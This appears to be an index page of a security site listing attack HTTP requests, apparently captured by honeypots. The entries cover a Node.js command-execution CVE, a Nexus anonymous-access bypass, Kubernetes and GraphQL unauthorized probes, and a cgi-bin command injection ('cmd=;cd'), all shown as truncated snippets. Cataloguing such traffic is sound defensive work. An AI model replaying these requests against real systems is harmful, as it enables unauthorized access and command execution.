- brief introduction
- Table of contents
- Latest documents
001 /api.php?s=article/datalist - 未知
``` POST /api.php?s=article/datalist HTTP/1.1 X-Forwarded-For: 111.68.9.154 Accept-Encoding: identity Content-Type: application/x-www-form-urlencoded Content-Length: 35 Host: 117.72.46.208:8080 User-………
myh0st - July 16, 2026, 8:39 a.m.
004 /?qfunc=sync - 已收录
node js 执行命令的案例，漏洞编号: CVE-2026-27971 ``` POST /?qfunc=commandSync HTTP/1.1 X-Forwarded-For: 194.165.16.11 Host: 101.200.187.3:3000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW………
myh0st - July 15, 2026, 8:10 a.m.
023 /api/base/get_login_info
``` POST /api/base/get_login_info HTTP/1.1 X-Forwarded-For: 47.92.246.119 Host: 101.200.187.3:4430 User-Agent: curl/7.64.0 Accept: / Accept-Encoding: deflate, gzip Content-Type: application/x-www-for………
myh0st - July 15, 2026, 8:01 a.m.
006 /service/rest/v1/security/anonymous
nexus 权限绕过开启匿名访问 ``` PUT /service/rest/v1/security/anonymous HTTP/1.1 X-Forwarded-For: 120.229.10.198 Host: 101.200.187.3:9200 Accept-Encoding: gzip, deflate Connection: keep-alive User-Agent: python………
myh0st - July 14, 2026, 9:13 a.m.
022 /v1/selfsubjectaccessreviews - 未收录
检查 k8s 接口是否未授权 ``` POST /apis/authorization.k8s.io/v1/selfsubjectaccessreviews HTTP/1.1 X-Forwarded-For: 38.90.156.19 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 ………
myh0st - July 14, 2026, 9:03 a.m.
021 /api/graphql - 未收录
graphql 接口未授权探测 ``` POST /api/graphql HTTP/1.1 X-Forwarded-For: 15.204.113.178 Host: 117.72.46.208:8088 Accept: / Content-Type: application/json Content-Length: 35 {"query":"{__schema{types{name}}}"}………
myh0st - July 13, 2026, 10:44 a.m.
005 /user/send_email - 未知
多个密码重置接口 ``` POST /chat/api/user/send_email HTTP/1.1 X-Forwarded-For: 39.144.156.88 Host: 120.48.153.96:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40………
myh0st - July 13, 2026, 10:42 a.m.
014 /DroboPix/api/drobopix/demo - 未收录
CVE-2018-14706 ``` POST /DroboPix/api/drobopix/demo HTTP/1.1 X-Forwarded-For: 45.153.34.219 Host: 120.48.153.96:8080 Content-Type: application/json Content-Length: 174 Connection: close {"payload":"c………
myh0st - July 13, 2026, 10:41 a.m.
010 /cgi-bin/- 未知
1、/cgi-bin/jcgi ``` POST /cgi-bin/jcgi HTTP/1.1 X-Forwarded-For: 45.153.34.231 Host: 124.223.181.134:8088 Content-Type: application/x-www-form-urlencoded Content-Length: 234 Connection: close cmd=;cd………
myh0st - July 13, 2026, 10:13 a.m.